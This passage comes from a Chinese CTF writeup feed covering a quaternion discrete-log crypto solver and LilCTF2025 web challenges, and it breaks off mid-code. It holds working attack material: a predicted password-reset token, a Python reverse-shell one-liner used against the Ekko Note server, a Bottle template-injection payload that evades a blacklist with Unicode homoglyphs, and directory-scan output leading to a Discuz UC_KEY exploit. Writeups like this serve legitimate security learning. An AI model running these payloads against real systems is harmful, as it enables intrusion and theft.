base_quat</span><br><span class="line">    <span class="keyword">while</span> exp &gt; <span class="number">0</span>:</span><br><span class="line">        <span class="keyword">if</span> exp % <span class="number">2</span> == <span class="number">1</span>:</span><br><span class="line">            res = res * base</span><br><span class="line">        base = base * base</span><br><span class="line">        exp //= <span class="number">2</span></span><br><span class="line">    <span class="keyword">return</span> res</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">baby_step_giant_step</span>(<span class="params">g, h, n</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    Solve discrete log: find x such that g^x = h</span></span><br><span class="line"><span class="string">    n is the upper bound for x</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    m = <span class="built_in">int</span>(math.ceil(math.sqrt(n)))</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># Baby steps: compute g^j for j = 0, 1, ..., m-1</span></span><br><span class="line">    baby_steps = &#123;&#125;</span><br><span class="line">    current = Quaternion(<span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>)  <span class="comment"># g^0</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(m):</span><br><span class="line">        key = (current.a, current.b, current.c, current.d)</span><br><span class="line">        <span class="keyword">if</span> key <span class="keyword">not</span> <span class="keyword">in</span> baby_steps:</span><br><span class="line">            baby_steps[key] = j</span><br><span class="line">        current = current * g</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># Giant steps: compute h * (g^(-m))^i for i = 0, 1, ..., m-1</span></span><br><span class="line">    g_m = power(g, m)</span><br><span class="line">    g_m_inv = g_m.inverse()</span><br><span class="line">    </span><br><span class="line">    gamma = h</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(m):</span><br><span class="line">        key = (gamma.a, gamma.b, gamma.c, gamma.d)</span><br><span class="line">        <span class="keyword">if</span> key <span class="keyword">in</span> baby_steps:</span><br><span class="line">            x = i * m + baby_steps[key]</span><br><span class="line">            <span class="keyword">if</span> x &lt; n:</span><br><span class="line">                <span class="keyword">return</span> x</span><br><span class="line">        gamma = gamma * g_m_inv</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">solve_quaternion_dlog</span>():</span><br><span class="line">    Q = Quaternion(*Q_components)</span><br><span class="line">    R = Quaternion(*R_components)</span><br><span class="line">    </span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;Starting quaternion discrete log attack...&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;Q = <span class="subst">&#123;Q&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;R = <span class="subst">&#123;R&#125;</span>&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># Try baby-step giant-step with bound 2^50</span></span><br><span class="line">    max_secret = <span class="number">2</span>**<span class="number">50</span></span><br><span class="line">    </span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;Searching for secret &lt; <span class="subst">&#123;max_secret&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;This may take a while...&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># For efficiency, let&#x27;s try smaller bounds first</span></span><br><span class="line">    bounds_to_try = [<span class="number">2</span>**<span class="number">16</span>, <span class="number">2</span>**<span class="number">20</span>, <span class="number">2</span>**<span class="number">24</span>, <span class="number">2</span>**<span class="number">28</span>, <span class="number">2</span>**<span class="number">32</span>]</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> bound <span class="keyword">in</span> bounds_to_try:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;Trying bound 2^<span class="subst">&#123;bound.bit_length()-<span class="number">1</span>&#125;</span>...&quot;</span>)</span><br><span class="line">        secret = baby_step_giant_step(Q, R, bound)</span><br><span class="line">        <span class="keyword">if</span> secret <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">None</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;Found secret: <span class="subst">&#123;secret&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> secret</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># If not found in smaller bounds, try the full range</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;Trying full range 2^50...&quot;</span>)</span><br><span class="line">    secret = baby_step_giant_step(Q, R, max_secret)</span><br><span class="line">    <span class="keyword">if</span> secret <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">None</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;Found secret: <span class="subst">&#123;secret&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> secret</span><br><span class="line">    </span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;Could not find secret in the given range&quot;</span>)</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">decrypt_flag</span>(<span class="params">secret</span>):</span><br><span class="line">    <span class="keyword">if</span> secret <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;Cannot decrypt without secret&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># Verify the secret works</span></span><br><span class="line">    Q = Quaternion(*Q_components)</span><br><span class="line">    R_check = power(Q, secret)</span><br><span class="line">    R_expected = Quaternion(*R_components)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> R_check == R_expected:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;Secret verification successful!&quot;</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;Secret verification failed!&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># Decrypt the flag</span></span><br><span class="line">    key = md5(<span class="built_in">str</span>(secret).encode()).hexdigest().encode()</span><br><span class="line">    cipher = AES.new(key=key, mode=AES.MODE_ECB)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        decrypted = cipher.decrypt(encrypted_flag)</span><br><span class="line">        flag = unpad(decrypted, <span class="number">16</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;Flag: <span class="subst">&#123;flag.decode()&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;Decryption failed: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># Alternative approach: try some common small values first</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">try_small_secrets</span>():</span><br><span class="line">    Q = Quaternion(*Q_components)</span><br><span class="line">    R = Quaternion(*R_components)</span><br><span class="line">    </span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;Trying small secret values...&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># Try some small powers</span></span><br><span class="line">    <span class="keyword">for</span> secret <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">10000</span>):</span><br><span class="line">        <span class="keyword">if</span> secret % <span class="number">1000</span> == <span class="number">0</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;Trying secret = <span class="subst">&#123;secret&#125;</span>&quot;</span>)</span><br><span class="line">        </span><br><span class="line">        test_R = power(Q, secret)</span><br><span class="line">        <span class="keyword">if</span> test_R == R:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;Found secret: <span class="subst">&#123;secret&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> secret</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    <span class="comment"># First try small values</span></span><br><span class="line">    secret = try_small_secrets()</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> secret <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line">        <span class="comment"># If not found, try the more complex approach</span></span><br><span class="line">        secret = solve_quaternion_dlog()</span><br><span class="line">    </span><br><span class="line">    decrypt_flag(secret)</span><br></pre></td></tr></table></figure><p>主要思路：</p><ul><li>四元数离散对数问题通常比整数离散对数更容易解决</li><li>使用分步搜索策略，从小范围开始逐步扩大</li><li>Baby-Step Giant-Step算法将搜索空间从O(n)降低到O(√n)</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="CTF" scheme="https://bili33.top/categories/CTF/"/>
    
    
    <category term="CTF" scheme="https://bili33.top/tags/CTF/"/>
    
    <category term="GBACC" scheme="https://bili33.top/tags/GBACC/"/>
    
  </entry>
  
  <entry>
    <title>【Volcania】LilCTF2025 Writeup</title>
    <link href="https://bili33.top/posts/LilCTF2025-Writeup/"/>
    <id>https://bili33.top/posts/LilCTF2025-Writeup/</id>
    <published>2025-08-18T08:59:21.000Z</published>
    <updated>2026-03-31T05:59:59.347Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h2 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h2><h3 id="Ekko-Note"><a href="#Ekko-Note" class="headerlink" title="Ekko Note"></a>Ekko Note</h3><p>数据库关系如下</p><p><img src="https://assets.bili33.top/img/LilCTF2025-Writeup/ekko_note_database.PNG"></p><p>通过这里的注释，可以猜到题目大概与random伪随机有关系，如果拿到seed，就可以预测random生成的随机值</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 欸我艹这两行代码测试用的忘记删了，欸算了都发布了，我们都在用力地活着，跟我的下班说去吧。</span></span><br><span class="line"><span class="comment"># 反正整个程序没有一个地方用到random库。应该没有什么问题。</span></span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line">random.seed(SERVER_START_TIME)</span><br></pre></td></tr></table></figure><p>题目提到的 RCE 相关代码</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/execute_command&#x27;</span>, methods=[<span class="string">&#x27;GET&#x27;</span>, <span class="string">&#x27;POST&#x27;</span>]</span>)</span></span><br><span class="line"><span class="meta">@login_required</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">execute_command</span>():</span><br><span class="line">    result = check_time_api()</span><br><span class="line">    <span class="keyword">if</span> result <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line">        flash(<span class="string">&quot;API死了啦，都你害的啦。&quot;</span>, <span class="string">&quot;danger&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> redirect(url_for(<span class="string">&#x27;dashboard&#x27;</span>))</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> result:</span><br><span class="line">        flash(<span class="string">&#x27;2066年才完工哈，你可以穿越到2066年看看&#x27;</span>, <span class="string">&#x27;danger&#x27;</span>)</span><br><span class="line">        <span class="keyword">return</span> redirect(url_for(<span class="string">&#x27;dashboard&#x27;</span>))</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> request.method == <span class="string">&#x27;POST&#x27;</span>:</span><br><span class="line">        command = request.form.get(<span class="string">&#x27;command&#x27;</span>)</span><br><span class="line">        os.system(command) <span class="comment"># 什么？你说安全？不是，都说了还没完工催什么。</span></span><br><span class="line">        <span class="keyword">return</span> redirect(url_for(<span class="string">&#x27;execute_command&#x27;</span>))</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> render_template(<span class="string">&#x27;execute_command.html&#x27;</span>)</span><br></pre></td></tr></table></figure><p>通过访问 <code>/server_info</code> 能看到服务器启动时间</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;current_time&quot;</span><span class="punctuation">:</span> <span class="number">1755223998.0369895</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;server_start_time&quot;</span><span class="punctuation">:</span> <span class="number">1755223563.5477479</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>在忘记密码 <code>/forget_password</code> 里面，有 uuid v8</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/forgot_password&#x27;</span>, methods=[<span class="string">&#x27;GET&#x27;</span>, <span class="string">&#x27;POST&#x27;</span>]</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">forgot_password</span>():</span><br><span class="line">    <span class="keyword">if</span> request.method == <span class="string">&#x27;POST&#x27;</span>:</span><br><span class="line">        email = request.form.get(<span class="string">&#x27;email&#x27;</span>)</span><br><span class="line">        user = User.query.filter_by(email=email).first()</span><br><span class="line">        <span class="keyword">if</span> user:</span><br><span class="line">            <span class="comment"># 选哪个UUID版本好呢，好头疼 &gt;_&lt;</span></span><br><span class="line">            <span class="comment"># UUID v8吧，看起来版本比较新</span></span><br><span class="line">            token = <span class="built_in">str</span>(uuid.uuid8(a=padding(user.username))) <span class="comment"># 可以自定义参数吗原来，那把username放进去吧</span></span><br><span class="line">            reset_token = PasswordResetToken(user_id=user.<span class="built_in">id</span>, token=token)</span><br><span class="line">            db.session.add(reset_token)</span><br><span class="line">            db.session.commit()</span><br><span class="line">            <span class="comment"># TODO：写一个SMTP服务把token发出去</span></span><br><span class="line">            flash(<span class="string">f&#x27;密码恢复token已经发送，请检查你的邮箱&#x27;</span>, <span class="string">&#x27;info&#x27;</span>)</span><br><span class="line">            <span class="keyword">return</span> redirect(url_for(<span class="string">&#x27;reset_password&#x27;</span>))</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            flash(<span class="string">&#x27;没有找到该邮箱对应的注册账户&#x27;</span>, <span class="string">&#x27;danger&#x27;</span>)</span><br><span class="line">            <span class="keyword">return</span> redirect(url_for(<span class="string">&#x27;forgot_password&#x27;</span>))</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> render_template(<span class="string">&#x27;forgot_password.html&#x27;</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>UUID v8 根据 random 算结果，印证前面猜想，所以忘记密码的重置 token 是可预测的</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">import</span> uuid</span><br><span class="line"><span class="keyword">from</span> datetime <span class="keyword">import</span> datetime</span><br><span class="line"></span><br><span class="line">SERVER_START_TIME = <span class="number">1755243162.2662387</span> <span class="comment"># 服务器获取的开启时间</span></span><br><span class="line"><span class="built_in">print</span>(SERVER_START_TIME)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">padding</span>(<span class="params">input_string</span>):</span><br><span class="line">    byte_string = input_string.encode(<span class="string">&#x27;utf-8&#x27;</span>)</span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(byte_string) &gt; <span class="number">6</span>: byte_string = byte_string[:<span class="number">6</span>]</span><br><span class="line">    padded_byte_string = byte_string.ljust(<span class="number">6</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">    padded_int = <span class="built_in">int</span>.from_bytes(padded_byte_string, byteorder=<span class="string">&#x27;big&#x27;</span>)</span><br><span class="line">    <span class="keyword">return</span> padded_int</span><br><span class="line">random.seed(SERVER_START_TIME)</span><br><span class="line">token = <span class="built_in">str</span>(uuid.uuid8(a=padding(<span class="string">&#x27;admin&#x27;</span>)))</span><br><span class="line"><span class="built_in">print</span>(token)</span><br></pre></td></tr></table></figure><p>用生成的token来重置密码登录admin用户</p><p><img src="https://assets.bili33.top/img/LilCTF2025-Writeup/8bf67c8c-33c3-41e8-971d-56ebb5a41501.png"></p><p>根据题目要求，年份大于 2066 年</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">check_time_api</span>():</span><br><span class="line">    user = User.query.get(session[<span class="string">&#x27;user_id&#x27;</span>])</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        response = requests.get(user.time_api)</span><br><span class="line">        data = response.json()</span><br><span class="line">        datetime_str = data.get(<span class="string">&#x27;date&#x27;</span>)</span><br><span class="line">        <span class="keyword">if</span> datetime_str:</span><br><span class="line">            <span class="built_in">print</span>(datetime_str)</span><br><span class="line">            current_time = datetime.fromisoformat(datetime_str)</span><br><span class="line">            <span class="keyword">return</span> current_time.year &gt;= <span class="number">2066</span></span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">None</span></span><br></pre></td></tr></table></figure><p>写个能够弹大于2066年的时间API，部署在 Vercel</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> fastapi <span class="keyword">import</span> FastAPI</span><br><span class="line"><span class="keyword">from</span> fastapi.responses <span class="keyword">import</span> JSONResponse</span><br><span class="line"></span><br><span class="line">app = FastAPI()</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.get(<span class="params"><span class="string">&quot;/time&quot;</span></span>)</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">get_time</span>():</span><br><span class="line">    <span class="keyword">return</span> JSONResponse(content=&#123;<span class="string">&quot;date&quot;</span>: <span class="string">&quot;2077-01-01T00:00:00&quot;</span>&#125;)</span><br></pre></td></tr></table></figure><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;version&quot;</span><span class="punctuation">:</span> <span class="number">2</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;builds&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;src&quot;</span><span class="punctuation">:</span> <span class="string">&quot;api/index.py&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;use&quot;</span><span class="punctuation">:</span> <span class="string">&quot;@vercel/python&quot;</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line">  <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;routes&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;src&quot;</span><span class="punctuation">:</span> <span class="string">&quot;/(.*)&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;dest&quot;</span><span class="punctuation">:</span> <span class="string">&quot;api/index.py&quot;</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line">  <span class="punctuation">]</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>更换api后就能执行命令了</p><p><img src="https://assets.bili33.top/img/LilCTF2025-Writeup/d3c62efa-585a-462b-92c1-25607da7c1d3.png"></p><p>然后就可以反弹shell了，注意&#x2F;bin&#x2F;bash是不存在的，要用&#x2F;bin&#x2F;sh</p><p>这里我用python -c来反弹shell</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ python -c <span class="string">&quot;import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([&#x27;/bin/sh&#x27;,&#x27;-i&#x27;]);&quot;</span></span><br></pre></td></tr></table></figure><p><img src="https://assets.bili33.top/img/LilCTF2025-Writeup/cd8de878-804f-484b-9e29-c25f498668b3.png"></p><h3 id="ez-bottle"><a href="#ez-bottle" class="headerlink" title="ez_bottle"></a><strong>ez_bottle</strong></h3><p>黑名单如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">BLACK_DICT = [<span class="string">&quot;&#123;&quot;</span>, <span class="string">&quot;&#125;&quot;</span>, <span class="string">&quot;os&quot;</span>, <span class="string">&quot;eval&quot;</span>, <span class="string">&quot;exec&quot;</span>, <span class="string">&quot;sock&quot;</span>, <span class="string">&quot;&lt;&quot;</span>, <span class="string">&quot;&gt;&quot;</span>, <span class="string">&quot;bul&quot;</span>, <span class="string">&quot;class&quot;</span>, <span class="string">&quot;?&quot;</span>, <span class="string">&quot;:&quot;</span>, <span class="string">&quot;bash&quot;</span>, <span class="string">&quot;_&quot;</span>, <span class="string">&quot;globals&quot;</span>,<span class="string">&quot;get&quot;</span>, <span class="string">&quot;open&quot;</span>]</span><br></pre></td></tr></table></figure><p>题目会对上传的zip进行解压缩，然后读取文件并对文件内容进行模板渲染后输出</p><p>看到可以模板注入的地方，一开始想可能可以 <code>%include &#39;/flag&#39;</code>，可以绕过过滤条件</p><p><img src="https://assets.bili33.top/img/LilCTF2025-Writeup/1c515ef3-d769-4cd8-abb3-59fa858c328b.png"></p><p>但是 <code>%include(&#39;/flag&#39;)</code> 返回</p><blockquote><p>Error rendering template: Warning: Use of deprecated feature or API. (Deprecated in Bottle-0.12) Cause: Use of absolute path for template name. Fix: Refer to templates with names or paths relative to the lookup path.</p></blockquote><p>看来不行，尝试使用异形相近字符绕过，利用unicode编码标准化来实现绕过，因为在进行黑名单检测的时候这些字符还是异形的，在bottle渲染时会进行规范化，通过raise来显示flag，当然或许也可以写文件？</p><p>新建一个 <code>payload.txt</code> 文件</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">% import ºs</span><br><span class="line">% flag=ºs.pºpen(&#x27;cat /flag&#x27;).read()</span><br><span class="line">% raise Exception(flag)</span><br></pre></td></tr></table></figure><p>压缩成 <code>payload.zip</code>，上传</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ curl -X POST -H <span class="string">&quot;Content-Type: multipart/form-data&quot;</span> \ -F <span class="string">&quot;file=@./payload.zip&quot;</span> http://challenge.xinshi.fun:45416/upload</span><br></pre></td></tr></table></figure><h3 id="我曾有一份工作"><a href="#我曾有一份工作" class="headerlink" title="我曾有一份工作"></a><strong>我曾有一份工作</strong></h3><p>能够看到是 Discuz X3.5，题目说本题允许使用扫描器，扫描一下目录</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">[15:57:37] 503 -    4KB - /.idea/workspace(2).xml</span><br><span class="line">[15:57:37] 503 -    4KB - /.idea/workspace(4).xml</span><br><span class="line">[15:57:37] 503 -    4KB - /.idea/workspace(3).xml</span><br><span class="line">[15:57:37] 503 -    4KB - /.idea/workspace(5).xml</span><br><span class="line">[15:57:37] 503 -    4KB - /.idea/workspace(7).xml</span><br><span class="line">[15:57:37] 503 -    4KB - /.idea/workspace(6).xml</span><br><span class="line">[16:00:27] 200 -    3KB - /admin.php</span><br><span class="line">[16:02:40] 301 -  169B  - /api  -&gt;  http://challenge.xinshi.fun/api/</span><br><span class="line">[16:02:40] 200 -    1B  - /api/</span><br><span class="line">[16:02:42] 200 -   13B  - /api.php</span><br><span class="line">[16:02:59] 301 -  169B  - /archiver  -&gt;  http://challenge.xinshi.fun/archiver/</span><br><span class="line">[16:04:27] 301 -  169B  - /config  -&gt;  http://challenge.xinshi.fun/config/</span><br><span class="line">[16:04:32] 200 -    1B  - /config/</span><br><span class="line">[16:04:56] 200 -  106B  - /crossdomain.xml</span><br><span class="line">[16:05:02] 301 -  169B  - /data  -&gt;  http://challenge.xinshi.fun/data/</span><br><span class="line">[16:05:03] 200 -    0B  - /data/</span><br><span class="line">[16:05:03] 200 -    0B  - /data/cache/</span><br><span class="line">[16:06:10] 200 -    5KB - /favicon.ico</span><br><span class="line">[16:06:48] 200 -    9KB - /group.php</span><br><span class="line">[16:07:00] 200 -    9KB - /home.php</span><br><span class="line">[16:07:28] 301 -  169B  - /install  -&gt;  http://challenge.xinshi.fun/install/</span><br><span class="line">[16:07:35] 200 -    9KB - /install/index.php?upgrade/</span><br><span class="line">[16:07:35] 200 -    9KB - /install/</span><br><span class="line">[16:08:47] 200 -    9KB - /member.php</span><br><span class="line">[16:09:01] 200 -   33B  - /misc.php</span><br><span class="line">[16:09:23] 503 -    4KB - /New%20folder%20(2)</span><br><span class="line">[16:11:27] 200 -  639B  - /robots.txt</span><br><span class="line">[16:11:40] 200 -    5KB - /search.php</span><br><span class="line">[16:12:19] 301 -  169B  - /source  -&gt;  http://challenge.xinshi.fun/source/</span><br><span class="line">[16:12:19] 200 -    1B  - /source/</span><br><span class="line">[16:12:32] 301 -  169B  - /static  -&gt;  http://challenge.xinshi.fun/static/</span><br><span class="line">[16:13:03] 301 -  169B  - /template  -&gt;  http://challenge.xinshi.fun/template/</span><br><span class="line">[16:13:03] 200 -    1B  - /template/</span><br><span class="line">[16:14:50] 200 -   11MB - /www.zip</span><br></pre></td></tr></table></figure><p>扫描到了备份文件 <a href="http://www.zip,结合题目描述,没错了,我们走在正确的方向上/">www.zip，结合题目描述，没错了，我们走在正确的方向上</a></p><p>发现配置文件里有各种硬编码的 key，微信找到一篇文章，可以通过 UC_KEY 实现导出数据库</p><p><a href="https://mp.weixin.qq.com/s/IDkUpjPL0mzSxKOgldHPeQ">https://mp.weixin.qq.com/s/IDkUpjPL0mzSxKOgldHPeQ</a></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">define</span>(<span class="string">&#x27;UC_KEY&#x27;</span>, <span 